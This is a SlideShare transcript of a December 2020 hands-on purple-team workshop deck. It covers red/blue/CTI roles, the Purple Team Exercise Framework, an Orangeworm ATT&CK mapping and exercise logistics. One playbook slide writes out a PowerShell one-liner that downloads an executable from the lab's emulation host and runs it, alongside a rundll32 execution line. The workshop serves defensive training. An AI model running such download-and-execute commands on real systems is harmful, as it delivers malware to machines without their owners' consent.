SlideShare a Scribd company logo

Purple Team Exercise Workshop December 2020

•
•
Jorge Orchilles
Jorge Orchilles

In this three hour hands-on workshop you will play the role of Cyber Threat Intelligence, the red team, and the blue team. We have set up an isolated environment for each attendee to go through a Purple Team Exercise. Attendees will: - Consume Cyber Threat Intelligence from a known adversary - Extract adversary behaviors/TTPs - Play the Red Team by creating adversary emulation plans - Emulate the adversary in a small environment consisting of a domain controller and member server - Play the Blue Team and look for Indicators of Compromise - Use Wireshark to identify heartbeat and jitter - Enable Sysmon configurations to detect adversary behavior - All mapped to MITRE ATT&CK - Have FUN! What do you need? All you need is a web browser on a workstation/laptop (no iPads, sorry). If you want to come better prepared, download and read the free Purple Team Exercise Framework (PTEF): https://scythe.io/ptef How will it work? We are using VMware learning platform to give everyone their own isolated environment. This means we need your real email upon registration so we can provision your environment before the start of the workshop.

1 of 54
Download to read offline
@JORGEORCHILLES Hands-On Purple Team Workshop #PurpleTeam @scythe_io @JorgeOrchilles
@JORGEORCHILLES T1033 - System Owner/User Discovery ● Chief Technology Officer - SCYTHE ● Purple Team Exercise Framework (PTEF) ● C2 Matrix Co-Creator ● 10 years @ Citi leading offensive security team ● Certified SANS Instructor: SEC560, SEC504 ● Author SEC564: Red Team Exercises and Adversary Emulation ● CVSSv3.1 Working Group Voting Member; Recently: EPSS ● GFMA: Threat-Led Pentest Framework ● ISSA Fellow; NSI Technologist Fellow 2
@JORGEORCHILLES Hands-On Workshop Format ● Brand new lab environment for you to play CTI, Red Team, and Blue Team ○ Consume CTI, emulate, and then defend against Orangeworm and Ryuk ● Built on vmware Learning Platform ○ Everyone should have received an email with a unique URL ● A bit of lecture to introduce key concepts ● 3 total hours to play in the lab environment - self paced manual ● 4 Systems ○ Unicorn - Windows member server you login to and can compromise ○ SCYTHE - the industry leading adversary emulation attack platform ○ SANS Slingshot C2 Matrix Edition - a bunch of C2s pre-installed and VECTR ○ UnicornDC1 - a domain controller 3
@JORGEORCHILLES What are you doing here? ● Learning ○ By listening ○ By seeing ○ By doing (in your own environment) ● Taking it back to work ○ Understanding the value and sharing it with others ○ Propose building a Purple Team Program following a proven industry framework (PTEF) ● Getting CPE credits (yeah, we know, you gotta get them) 4
@JORGEORCHILLES What are we learning? ● What is Purple Team? ● Ethical Hacking Evolution ● Framework/Methodology ● Cyber Threat Intelligence ● Preparation ● Purple Team Exercise Flow ● Lessons Learned ● Hands-On Workshop 5
@JORGEORCHILLES What is Purple Team? A Purple Team is a virtual team where the following teams work together: ● Cyber Threat Intelligence - team to research and provide threat TTPs ● Red Team - offensive team in charge of emulating adversaries ● Blue Team - the defenders. Security Operations Center (SOC), Hunt Team, Digital Forensics and Incident Response (DFIR), and/or Managed Security Service Provides (MSSP) 6
@JORGEORCHILLES Purple… how hard can it be? 7
@JORGEORCHILLES Red and Blue just work together... 8
@JORGEORCHILLES How we think it will go 9
@JORGEORCHILLES How it may go 10
@JORGEORCHILLES Purple Team Exercise Framework Download the Framework now so you can follow along: https://scythe.io/ptef 11
@JORGEORCHILLES Example Use Case ● 6 week Purple Team Exercise - Assumed Breach scenario ● SCYTHE was hired to perform all 3 roles ○ Week 1 - Baseline testing: synthetic malware execution and command and control over HTTPS; ensure visibility and access to current controls ○ Week 2 - APT19: low sophistication Chinese threat actor ○ Week 3 - Buhtrap: medium sophistication Russian threat actor ○ Week 4 - APT33: medium sophistication Iranian threat actor ○ Week 5 - APT3: high sophistication Chinese threat actor ○ Week 6 - Free Play: red team plan based on situational awareness from previous weeks. Tested for Active Directory, Microsoft Exchange, and lateral movement ● $0 spend on new technology ○ Only tuning current security controls 12
@JORGEORCHILLES Baseline 13 ● 94% of Adversary Behavior was undetected ● 3 test cases detected by current controls ● 1 test case blocked Baseline Result Known threats have the ability to achieve their objective without being detected
@JORGEORCHILLES End State 14 ● $0 technology spend to achieve 64% detection rate ● Enabled telemetry (Sysmon) ● Created logic for alerts on End State Result Known threats will be detected and responded to before achieving objective
@JORGEORCHILLES Ethical Hacking Maturity Model ● Common Vulnerability and Exposures != Tactics, Techniques, and Procedures ● Mature organizations operate under “Assume Breach” ○ Some vulnerability will not be patched before it is exploited ○ Some user will fall for social engineering and execute payload or provide credentials ○ What do we do then? ● Testing technology is not enough: People, Process, and Technology https://www.scythe.io/library/scythes-ethical-hacking-maturity-model 15 Vulnerability Scanning Vulnerability Assessment Penetration Testing Red Team Purple Team Adversary Emulation
@JORGEORCHILLES Red Team ● Definition: ○ Test Assumptions ○ Emulate Tactics, Techniques, and Procedures (TTPs) to test people, processes, and technology ● Goal: ○ Make Blue Team better ○ Train and measure whether blue teams' detection and response policies, procedures, and technologies are effective 16 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988 ● Effort: ○ Manual ● Frequency: ○ Intelligence-led (new exploit, tool, or TTP) ● Customer: ○ Blue Teams “The practice of looking at a problem or situation from the perspective of an adversary” – Red Team Journal 1997
@JORGEORCHILLES Blue Team ● The defenders in an organization entrusted with identifying and remediating attacks. ○ Generally associated with Security Operations Center or Managed Security Service Provider (MSSP), Hunt Team, Incident Response, and Digital Forensics. ○ Really, it is everyone's responsibility! ● Goal: Identify, contain, and eradicate attacks ● Effort: Manual ● Frequency: 24/7 ● Customer: Entire organization 17 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988 ● Log ○ Relevant Events ○ Locally ○ Central Log Aggregator ● Alert ○ Severity ● Respond ○ Process ○ People ○ Automation
@JORGEORCHILLES Adversary Emulation ● Definition: ○ A type of Red Team exercise where the Red Team emulates how an adversary operates, following the same tactics, techniques, and procedures (TTPs), with a specific objective similar to those of realistic threats or adversaries ○ May be non-blind a.k.a Purple Team ● Goal: ○ Emulate an adversary attack chain or scenario ● Effort: ○ Manual; SCYTHE is changing that ● Customer: ○ Entire organization 18 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988
@JORGEORCHILLES All Offensive Security is about Providing Value
@JORGEORCHILLES TOWARD A PURPLE TEAM
@JORGEORCHILLES Purple Team Exercises 21 ● Virtual, functional team where teams work together to measure and improve defensive security posture ○ CTI provides threat actor with capability, intent, and opportunity to attack ○ Red Team creates adversary emulation plan ○ Tabletop discussion with defenders about the attacker tactics, techniques, and procedures (TTPs) and expected defenses ○ Emulation of each adversary behavior (TTP) ○ Blue Team look for indicators of behavior ○ Red and Blue work together to create remediation action plan ● Repeat exercises to measure and improve people, process, and technology
@JORGEORCHILLES Purple Team Goals ● Test attack chains against a target organization ● Train the organization’s defenders (Blue Team) ● Test TTPs that have not been tested before in the organization ● Test the processes between security teams ● Preparation for a zero-knowledge Red Team Engagement ● Red Team reveal or replay after a zero-knowledge Red Team Engagement ● Foster a collaborative culture within the security organization 22
@JORGEORCHILLES Framework & Methodology 23 ● Cyber Kill Chain – Lockheed Martin ● Unified Cyber Kill Chain – Paul Pols ● Financial/Regulatory Frameworks ○ CBEST Intelligence Led Testing ○ Threat Intelligence-Based Ethical Red Teaming ○ Red Team: Adversarial Attack Simulation Exercises ○ Intelligence-led Cyber Attack Simulation Testing ○ A Framework for the Regulatory Use of Penetration Testing in the Financial Services Industry ● Purple Team Exercise Framework (PTEF) ● Testing Framework:
@JORGEORCHILLES Cyber Kill Chain 24
@JORGEORCHILLES MITRE ATT&CK https://attack.mitre.org/ 25
@JORGEORCHILLES Roles and Responsibilities Title Role Responsibility Head of Security Sponsor Approve Purple Team Exercise and Budget Cyber Threat Intelligence Sponsor Cyber Threat Intelligence Red Team & Blue Team Managers Sponsor Preparation: Define Goals, Select Attendees Red Team Attendee Preparation, Exercise Execution Blue Team - SOC, Hunt Team, DFIR Attendee Preparation, Exercise Execution Project Manager Exercise Coordinator Lead point of contact throughout the entire Purple Team Exercise. Responsible to ensure Cyber Threat Intelligence is provided. Ensures all Preparation steps are taken prior to Exercise Execution. During Exercise Execution, record minutes, notes, action items, and feedback. Send daily emails with those notes as well as guidance for what’s planned for the next day. Compile and deliver Lessons Learned.
@JORGEORCHILLES Sponsors (convince them about Purple Team) ● Approve ○ Purple Team Exercise ○ Goals and Scope ○ Budget $$$ ● Members of various teams out of BAU ○ Cyber Threat Intelligence ○ Red Team ○ Security Operations Center ○ Hunt Team ○ Digital Forensics ○ Incident Response 27
@JORGEORCHILLES Time Requirements ● Purple Team Exercises can run for 2 hours to multiple weeks of mostly hands on keyboard work between Red Team and Blue Teams ● Preparation time is based on the defined goals, guidance or constraints set by Sponsors, and emulated adversary’s TTPs 28 Preparation Exercise Lessons Learned Days-Weeks Hours-Days-Weeks TBD
@JORGEORCHILLES Cyber Threat Intelligence 29 ATT&CKing the Status Quo: Threat-Based Adversary Emulation with MITRE ATT&CK - Katie Nickels and Cody Thomas
@JORGEORCHILLES Types of Cyber Threat Intelligence 30 David Bianco: http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
@JORGEORCHILLES Extract TTPs 31 S0129 – AutoIT T1068 – Exploitation for Privilege Escalation S0194 - PowerSploit T1003 - Credential Dumping IP Address S0002 - Mimikatz S0192 - Pupy Hash Value T1086 - Powershell
@JORGEORCHILLES ATT&CK Navigator 32
@JORGEORCHILLES Analyze & Organize 33 Tactic Description Description Description of adversary Objective Adversary objectives and goals Command and Control Technique ID - Technique Name - Details Initial Access Technique ID - Technique Name - Details Execution Technique ID - Technique Name - Details Defense Evasion Technique ID - Technique Name - Details Discovery Technique ID - Technique Name - Details Privilege Escalation Technique ID - Technique Name - Details Persistence Technique ID - Technique Name - Details Credential Access Technique ID - Technique Name - Details Exfiltration Technique ID - Technique Name - Details
@JORGEORCHILLES #ThreatThursday ● Introduce Adversary ● Consume CTI and map to MITRE ATT&CK ● Present Adversary Emulation Plan ● Share the plan on SCYTHE Community Threat Github ○ https://github.com/scythe-io/community-threats/ ● Emulate Adversary ● How to defend against adversary ● All available to the community for free: https://www.scythe.io/threatthursday 34
@JORGEORCHILLES Orangeworm 35 Tactic Description Description Orangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015 for corporate espionage. C2 T1071 - Application Layer Protocol; T1071.001 - Web Protocols; T1008 - Fallback Channel Execution T1218 - Signed Binary Proxy Execution; T1218.011 - Rundll32; T1059 - Command and Scripting Interpreter; T1059.003 - Windows Command Shell; T1569 - System Services; T1569.002 - Service Execution Defense Evasion T1036 - Masquerading; T1036.004 - Masquerade Task or Service; T1027 - Obfuscated Files or Information; T1027.001 - Binary Padding; T1070 - Indicator Removal on Host; T1070.004 - File Deletion; T1070.005 - Network Share Connection Removal; T1140 - Deobfuscate/Decode Files or Information Discovery T1087 - Account Discovery; T1087.001 - Local Account; T1087.002 - Domain Account; T1201 - Password Policy Discovery; T1069 - Permission Groups Discovery; T1069.002 - Domain Groups; T1069.001 - Local Groups; T1057 - Process Discovery; T1018 - Remote System Discovery; T1082 - System Information Discovery; T1016 - System Network Configuration Discovery T1049 - System Network Connections Discovery; T1033 - System Owner/User Discovery; T1007 - System Service Discovery T1083 - File and Directory Discovery;T1124 - System Time Discovery; T1135 - Network Share Discovery Persistence T1136.001 - Local Account; T1136.002 - Domain Account; T1543.003 - Windows Service Lateral Movement T1021 - Remote Services; T1021.002 - SMB/Windows Admin Shares; T1105 - Ingress Tool Transfer; T1570 - Lateral Tool Transfer https://www.scythe.io/library/threatthursday-orangeworm
@JORGEORCHILLES Logistics 36 ● Pick a location ● Virtual or Remote? ○ Virtual: Choose a Platform (Zoom, GoToMeeting, etc) ○ For physical locations: SOC locations are ideal as SOC Analysts, Hunt Team, and Incident Response are generally physically present ■ Obtain travel approval from sponsors ■ Plan to arrive a day early ■ Training room or large conference room ● Each attendee should have workstation with media output or screen sharing to show current screen to other participants
@JORGEORCHILLES Target Systems Provision production systems for exercise that represent the organization ● Endpoint Operation Systems ○ Standard endpoints - 2 of each (Windows 10, Linux, macOS) ○ Physical systems ○ Virtual Desktop Infrastructure ○ Terminal Services/Citrix ● Server Operating Systems in Environment ○ Windows Servers ○ *nix Servers ○ Include Virtual and Cloud Servers ● 37
@JORGEORCHILLES Security Tools Request the target systems have production security tools: ● Anti-Virus/Anti-Malware/Anti-Exploit ● Endpoint Detection & Response (EDR) ● Forensic Tools ● Image acquisition ● Live forensics ● Ensure flow of traffic goes through standard, production network-based devices such as firewalls and proxy logs 38
@JORGEORCHILLES Target Accounts Target accounts (a.k.a service accounts, functional IDs) should be created for logging into systems, accessing proxies/internet, email, etc. and to ensure real production credentials are not compromised during the Purple Team Exercise. ● Request new account of a standard user ● Request Standard Email and Proxy/internet access ● Add new account as local administrator of the target systems 39
@JORGEORCHILLES Attack Infrastructure (1) ● Choose and procure external hosting provider ● Create external virtual machines ○ Only allow connection from target organization outbound IP Addresses and Red Teamer IP Addresses ○ Setup credential theft site and/or payload delivery sites ○ Setup C2 Infrastructure – based on payloads and TTP ○ Setup redirectors/relays ● Ensure SMTP servers allow sending emails into organization ○ Shared Email Service should be allowed in ○ If using new SMTP servers, this may require more time for gaining reputation 40
@JORGEORCHILLES Attack Infrastructure (2) ● Purchase Domains ● Generate or purchase TLS Certificates ● Setup Domain Fronting (if required) ● Categorize domains or ensure proxies/outbound controls allow access ● Provide IPs and Domains to Blue Team if testing will be performed before the exercise ● Test payloads and domains with Blue Team Manager to ensure allowlists are complete and payloads/C2 is working. This should be done against test systems; not the same one for the exercise. 41 https://www.scythe.io/library/attack-infrastructure-red-teams-vs-malicious-actors
@JORGEORCHILLES Determine Tools to Use - C2 Matrix ● Google Sheet of C2s ● https://www.thec2matrix.com/ ● Find ideal C2 for your needs ● https://howto.thec2matrix.com ● SANS Slingshot C2 Matrix VM ● @C2_Matrix 42
@JORGEORCHILLES SCYTHE ● Enterprise-Grade platform for Adversary Emulation ○ Creating custom, controlled, synthetic malware ○ Can be deployed on-premises or your cloud ● Emulate known threat actors against an enterprise network ○ Consistently execute adversary behaviors ○ Continually assess security controls ○ Decreased evaluation time of security technologies ○ Identify blind spots for blue teams ○ Force-multiplier for red team resources ○ Measure and improve response of people and process 43
@JORGEORCHILLES Features & Capabilities ● Enterprise C2 ○ HTTP(S), DNS, SMB ○ Google, Twitter, Stego ● Automation ○ Build cross-platform synthetic malware via dashboard ○ Synthetic malware emulates chosen behaviors consistently ● Delivery methods ○ Web Page/ Drive-by (T1189) ○ Phishing Link (T1192) ○ Phishing Attachment (T1193) ● Reports ○ HTML Report, CSV Report, Executive Report and Technical Report ○ Mapped to MITRE ATT&CK ● Integrations ○ PlexTrac - automated report writing and handling ○ Integrated with SIEMs (Splunk and Syslog) ○ Red Canary’s Atomic Red Team ○ VECTR - for tracking and showing value 44
@JORGEORCHILLES Playbooks Create Campaigns in SCYTHE beforehand ● HTTPS - 10 second heartbeat ○ User Execution: Malicious File (T1204.002) ● Orangeworm ○ Signed Binary Proxy Execution: Rundll32 (T1218.011) ■ rundll32.exe ServiceLogin.dll,PlatformClientMain ● Ryuk ○ Command and Scripting Interpreter: PowerShell (T1059.001) ■ $myscriptblock={$url="https://scythe/ServiceLogin?active=xdHu2K8hG0yvEzMMC-AR7 g&b=false";$wc=New-Object System.Net.WebClient;$output="C:UsersPublicscythe_payload.exe";$wc.DownloadFil e($url,$output);C:UsersPublicscythe_payload.exe};Invoke-Command -ScriptBlock $myscriptblock; 45
@JORGEORCHILLES SOC/Hunt Team Preparation ● Validate security tools are reporting to production security tools from the target systems ● Ensure attack infrastructure is accessible through proxy/outbound controls ● Ensure attack infrastructure is being decrypted (TLS decryption/interception) ● Verify allowlists and notify Red Team ● Work with Red Team as payloads and C2 are tested prior to exercise on non-exercise systems ● Threat Hunting Playbooks - https://threathunterplaybook.com/introduction.html 46
@JORGEORCHILLES DFIR Preparation ● Create an exercise case as per the DFIR process ○ This will allow tagging artifacts and following normal processes without flagging any suspicious activity (e.g. pulling memory from a system that does not have a formal case) ○ Ensure the target systems are not segmented or wiped as they will be used throughout the exercise. It is worth noting that DFIR results serve as a great resource for Cyber Threat Intelligence. ● Ensure the correct forensic tools are deployed on the target systems ● Install Live Forensic Tools for efficiency during Purple Team Exercise. For example: ○ Sysmon ○ Processmon 47
@JORGEORCHILLES Kick Off the Exercise ● Sponsor kicks off the exercise ● Motivate the attendees ● Go over the flow of the exercise 48
@JORGEORCHILLES Exercise Flow 1. Cyber Threat Intelligence, Exercise Coordinator, and/or Red Team presents the adversary, TTPs, and technical details: ○ Adversary behavior ○ Procedure ○ Tool used ○ Attack Vector ○ Delivery Method ○ Privilege gained 2. Purple Team discussion of expected controls based on TTP ○ SOC: Any logs or alerts for this TTP ○ Hunt Team: Any Hunt Cases for this TTP ○ DFIR: Documented methods to identify if TTP was leveraged 49
@JORGEORCHILLES Exercise Flow 3. Red Team executes the TTP ○ Provides attacker IP ○ Provides target ○ Provides exact time ○ Shows the attack on projector 4. SOC, Hunt, and DFIR follow process to identify evidence of TTP ○ Time should be monitored to meet expectation and move exercise along 50
@JORGEORCHILLES Exercise Flow 5. Share screen if TTP was identified, received alert, logs, or forensics a. Time to detect b. Time to receive alert c. Red Team stops TTP d. Show on screen TTP evidence stopped e. Red Team runs TTP again 6. Document results - what worked and what did not 7. Are there any short term adjustments that can increase visibility? a. Implement adjustment b. Red Team repeats TTP 8. Document any feedback and/or Action Items for TTP 9. Repeat for next TTP 51
@JORGEORCHILLES 52
@JORGEORCHILLES Lessons Learned ● At least one dedicated Exercise Coordinator should be assigned to take minutes, notes, action items, and feedback ● Daily emails should be sent to all attendees and sponsors with minutes, action items, and plan for the next day ● The Exercise Coordinator is responsible for the creation of a Lessons Learned document following each exercise ● A feedback request should be sent to all attendees on the last day of the Purple Team Exercise to obtain immediate feedback, while it is fresh on attendee’s minds ● Lessons Learned documents should be completed and sent to Sponsors and Attendees less than 2 weeks after the exercise has concluded 53
@JORGEORCHILLES Hands On Time! 54

More Related Content

Purple Team Exercise Workshop December 2020

  • 2. @JORGEORCHILLES T1033 - System Owner/User Discovery ● Chief Technology Officer - SCYTHE ● Purple Team Exercise Framework (PTEF) ● C2 Matrix Co-Creator ● 10 years @ Citi leading offensive security team ● Certified SANS Instructor: SEC560, SEC504 ● Author SEC564: Red Team Exercises and Adversary Emulation ● CVSSv3.1 Working Group Voting Member; Recently: EPSS ● GFMA: Threat-Led Pentest Framework ● ISSA Fellow; NSI Technologist Fellow 2
  • 3. @JORGEORCHILLES Hands-On Workshop Format ● Brand new lab environment for you to play CTI, Red Team, and Blue Team ○ Consume CTI, emulate, and then defend against Orangeworm and Ryuk ● Built on vmware Learning Platform ○ Everyone should have received an email with a unique URL ● A bit of lecture to introduce key concepts ● 3 total hours to play in the lab environment - self paced manual ● 4 Systems ○ Unicorn - Windows member server you login to and can compromise ○ SCYTHE - the industry leading adversary emulation attack platform ○ SANS Slingshot C2 Matrix Edition - a bunch of C2s pre-installed and VECTR ○ UnicornDC1 - a domain controller 3
  • 4. @JORGEORCHILLES What are you doing here? ● Learning ○ By listening ○ By seeing ○ By doing (in your own environment) ● Taking it back to work ○ Understanding the value and sharing it with others ○ Propose building a Purple Team Program following a proven industry framework (PTEF) ● Getting CPE credits (yeah, we know, you gotta get them) 4
  • 5. @JORGEORCHILLES What are we learning? ● What is Purple Team? ● Ethical Hacking Evolution ● Framework/Methodology ● Cyber Threat Intelligence ● Preparation ● Purple Team Exercise Flow ● Lessons Learned ● Hands-On Workshop 5
  • 6. @JORGEORCHILLES What is Purple Team? A Purple Team is a virtual team where the following teams work together: ● Cyber Threat Intelligence - team to research and provide threat TTPs ● Red Team - offensive team in charge of emulating adversaries ● Blue Team - the defenders. Security Operations Center (SOC), Hunt Team, Digital Forensics and Incident Response (DFIR), and/or Managed Security Service Provides (MSSP) 6
  • 8. @JORGEORCHILLES Red and Blue just work together... 8
  • 11. @JORGEORCHILLES Purple Team Exercise Framework Download the Framework now so you can follow along: https://scythe.io/ptef 11
  • 12. @JORGEORCHILLES Example Use Case ● 6 week Purple Team Exercise - Assumed Breach scenario ● SCYTHE was hired to perform all 3 roles ○ Week 1 - Baseline testing: synthetic malware execution and command and control over HTTPS; ensure visibility and access to current controls ○ Week 2 - APT19: low sophistication Chinese threat actor ○ Week 3 - Buhtrap: medium sophistication Russian threat actor ○ Week 4 - APT33: medium sophistication Iranian threat actor ○ Week 5 - APT3: high sophistication Chinese threat actor ○ Week 6 - Free Play: red team plan based on situational awareness from previous weeks. Tested for Active Directory, Microsoft Exchange, and lateral movement ● $0 spend on new technology ○ Only tuning current security controls 12
  • 13. @JORGEORCHILLES Baseline 13 ● 94% of Adversary Behavior was undetected ● 3 test cases detected by current controls ● 1 test case blocked Baseline Result Known threats have the ability to achieve their objective without being detected
  • 14. @JORGEORCHILLES End State 14 ● $0 technology spend to achieve 64% detection rate ● Enabled telemetry (Sysmon) ● Created logic for alerts on End State Result Known threats will be detected and responded to before achieving objective
  • 15. @JORGEORCHILLES Ethical Hacking Maturity Model ● Common Vulnerability and Exposures != Tactics, Techniques, and Procedures ● Mature organizations operate under “Assume Breach” ○ Some vulnerability will not be patched before it is exploited ○ Some user will fall for social engineering and execute payload or provide credentials ○ What do we do then? ● Testing technology is not enough: People, Process, and Technology https://www.scythe.io/library/scythes-ethical-hacking-maturity-model 15 Vulnerability Scanning Vulnerability Assessment Penetration Testing Red Team Purple Team Adversary Emulation
  • 16. @JORGEORCHILLES Red Team ● Definition: ○ Test Assumptions ○ Emulate Tactics, Techniques, and Procedures (TTPs) to test people, processes, and technology ● Goal: ○ Make Blue Team better ○ Train and measure whether blue teams' detection and response policies, procedures, and technologies are effective 16 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988 ● Effort: ○ Manual ● Frequency: ○ Intelligence-led (new exploit, tool, or TTP) ● Customer: ○ Blue Teams “The practice of looking at a problem or situation from the perspective of an adversary” – Red Team Journal 1997
  • 17. @JORGEORCHILLES Blue Team ● The defenders in an organization entrusted with identifying and remediating attacks. ○ Generally associated with Security Operations Center or Managed Security Service Provider (MSSP), Hunt Team, Incident Response, and Digital Forensics. ○ Really, it is everyone's responsibility! ● Goal: Identify, contain, and eradicate attacks ● Effort: Manual ● Frequency: 24/7 ● Customer: Entire organization 17 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988 ● Log ○ Relevant Events ○ Locally ○ Central Log Aggregator ● Alert ○ Severity ● Respond ○ Process ○ People ○ Automation
  • 18. @JORGEORCHILLES Adversary Emulation ● Definition: ○ A type of Red Team exercise where the Red Team emulates how an adversary operates, following the same tactics, techniques, and procedures (TTPs), with a specific objective similar to those of realistic threats or adversaries ○ May be non-blind a.k.a Purple Team ● Goal: ○ Emulate an adversary attack chain or scenario ● Effort: ○ Manual; SCYTHE is changing that ● Customer: ○ Entire organization 18 https://medium.com/@jorgeorchilles/ethical-hacking-definitions-9b9a6dad4988
  • 19. @JORGEORCHILLES All Offensive Security is about Providing Value
  • 21. @JORGEORCHILLES Purple Team Exercises 21 ● Virtual, functional team where teams work together to measure and improve defensive security posture ○ CTI provides threat actor with capability, intent, and opportunity to attack ○ Red Team creates adversary emulation plan ○ Tabletop discussion with defenders about the attacker tactics, techniques, and procedures (TTPs) and expected defenses ○ Emulation of each adversary behavior (TTP) ○ Blue Team look for indicators of behavior ○ Red and Blue work together to create remediation action plan ● Repeat exercises to measure and improve people, process, and technology
  • 22. @JORGEORCHILLES Purple Team Goals ● Test attack chains against a target organization ● Train the organization’s defenders (Blue Team) ● Test TTPs that have not been tested before in the organization ● Test the processes between security teams ● Preparation for a zero-knowledge Red Team Engagement ● Red Team reveal or replay after a zero-knowledge Red Team Engagement ● Foster a collaborative culture within the security organization 22
  • 23. @JORGEORCHILLES Framework & Methodology 23 ● Cyber Kill Chain – Lockheed Martin ● Unified Cyber Kill Chain – Paul Pols ● Financial/Regulatory Frameworks ○ CBEST Intelligence Led Testing ○ Threat Intelligence-Based Ethical Red Teaming ○ Red Team: Adversarial Attack Simulation Exercises ○ Intelligence-led Cyber Attack Simulation Testing ○ A Framework for the Regulatory Use of Penetration Testing in the Financial Services Industry ● Purple Team Exercise Framework (PTEF) ● Testing Framework:
  • 26. @JORGEORCHILLES Roles and Responsibilities Title Role Responsibility Head of Security Sponsor Approve Purple Team Exercise and Budget Cyber Threat Intelligence Sponsor Cyber Threat Intelligence Red Team & Blue Team Managers Sponsor Preparation: Define Goals, Select Attendees Red Team Attendee Preparation, Exercise Execution Blue Team - SOC, Hunt Team, DFIR Attendee Preparation, Exercise Execution Project Manager Exercise Coordinator Lead point of contact throughout the entire Purple Team Exercise. Responsible to ensure Cyber Threat Intelligence is provided. Ensures all Preparation steps are taken prior to Exercise Execution. During Exercise Execution, record minutes, notes, action items, and feedback. Send daily emails with those notes as well as guidance for what’s planned for the next day. Compile and deliver Lessons Learned.
  • 27. @JORGEORCHILLES Sponsors (convince them about Purple Team) ● Approve ○ Purple Team Exercise ○ Goals and Scope ○ Budget $$$ ● Members of various teams out of BAU ○ Cyber Threat Intelligence ○ Red Team ○ Security Operations Center ○ Hunt Team ○ Digital Forensics ○ Incident Response 27
  • 28. @JORGEORCHILLES Time Requirements ● Purple Team Exercises can run for 2 hours to multiple weeks of mostly hands on keyboard work between Red Team and Blue Teams ● Preparation time is based on the defined goals, guidance or constraints set by Sponsors, and emulated adversary’s TTPs 28 Preparation Exercise Lessons Learned Days-Weeks Hours-Days-Weeks TBD
  • 29. @JORGEORCHILLES Cyber Threat Intelligence 29 ATT&CKing the Status Quo: Threat-Based Adversary Emulation with MITRE ATT&CK - Katie Nickels and Cody Thomas
  • 30. @JORGEORCHILLES Types of Cyber Threat Intelligence 30 David Bianco: http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
  • 31. @JORGEORCHILLES Extract TTPs 31 S0129 – AutoIT T1068 – Exploitation for Privilege Escalation S0194 - PowerSploit T1003 - Credential Dumping IP Address S0002 - Mimikatz S0192 - Pupy Hash Value T1086 - Powershell
  • 33. @JORGEORCHILLES Analyze & Organize 33 Tactic Description Description Description of adversary Objective Adversary objectives and goals Command and Control Technique ID - Technique Name - Details Initial Access Technique ID - Technique Name - Details Execution Technique ID - Technique Name - Details Defense Evasion Technique ID - Technique Name - Details Discovery Technique ID - Technique Name - Details Privilege Escalation Technique ID - Technique Name - Details Persistence Technique ID - Technique Name - Details Credential Access Technique ID - Technique Name - Details Exfiltration Technique ID - Technique Name - Details
  • 34. @JORGEORCHILLES #ThreatThursday ● Introduce Adversary ● Consume CTI and map to MITRE ATT&CK ● Present Adversary Emulation Plan ● Share the plan on SCYTHE Community Threat Github ○ https://github.com/scythe-io/community-threats/ ● Emulate Adversary ● How to defend against adversary ● All available to the community for free: https://www.scythe.io/threatthursday 34
  • 35. @JORGEORCHILLES Orangeworm 35 Tactic Description Description Orangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015 for corporate espionage. C2 T1071 - Application Layer Protocol; T1071.001 - Web Protocols; T1008 - Fallback Channel Execution T1218 - Signed Binary Proxy Execution; T1218.011 - Rundll32; T1059 - Command and Scripting Interpreter; T1059.003 - Windows Command Shell; T1569 - System Services; T1569.002 - Service Execution Defense Evasion T1036 - Masquerading; T1036.004 - Masquerade Task or Service; T1027 - Obfuscated Files or Information; T1027.001 - Binary Padding; T1070 - Indicator Removal on Host; T1070.004 - File Deletion; T1070.005 - Network Share Connection Removal; T1140 - Deobfuscate/Decode Files or Information Discovery T1087 - Account Discovery; T1087.001 - Local Account; T1087.002 - Domain Account; T1201 - Password Policy Discovery; T1069 - Permission Groups Discovery; T1069.002 - Domain Groups; T1069.001 - Local Groups; T1057 - Process Discovery; T1018 - Remote System Discovery; T1082 - System Information Discovery; T1016 - System Network Configuration Discovery T1049 - System Network Connections Discovery; T1033 - System Owner/User Discovery; T1007 - System Service Discovery T1083 - File and Directory Discovery;T1124 - System Time Discovery; T1135 - Network Share Discovery Persistence T1136.001 - Local Account; T1136.002 - Domain Account; T1543.003 - Windows Service Lateral Movement T1021 - Remote Services; T1021.002 - SMB/Windows Admin Shares; T1105 - Ingress Tool Transfer; T1570 - Lateral Tool Transfer https://www.scythe.io/library/threatthursday-orangeworm
  • 36. @JORGEORCHILLES Logistics 36 ● Pick a location ● Virtual or Remote? ○ Virtual: Choose a Platform (Zoom, GoToMeeting, etc) ○ For physical locations: SOC locations are ideal as SOC Analysts, Hunt Team, and Incident Response are generally physically present ■ Obtain travel approval from sponsors ■ Plan to arrive a day early ■ Training room or large conference room ● Each attendee should have workstation with media output or screen sharing to show current screen to other participants
  • 37. @JORGEORCHILLES Target Systems Provision production systems for exercise that represent the organization ● Endpoint Operation Systems ○ Standard endpoints - 2 of each (Windows 10, Linux, macOS) ○ Physical systems ○ Virtual Desktop Infrastructure ○ Terminal Services/Citrix ● Server Operating Systems in Environment ○ Windows Servers ○ *nix Servers ○ Include Virtual and Cloud Servers ● 37
  • 38. @JORGEORCHILLES Security Tools Request the target systems have production security tools: ● Anti-Virus/Anti-Malware/Anti-Exploit ● Endpoint Detection & Response (EDR) ● Forensic Tools ● Image acquisition ● Live forensics ● Ensure flow of traffic goes through standard, production network-based devices such as firewalls and proxy logs 38
  • 39. @JORGEORCHILLES Target Accounts Target accounts (a.k.a service accounts, functional IDs) should be created for logging into systems, accessing proxies/internet, email, etc. and to ensure real production credentials are not compromised during the Purple Team Exercise. ● Request new account of a standard user ● Request Standard Email and Proxy/internet access ● Add new account as local administrator of the target systems 39
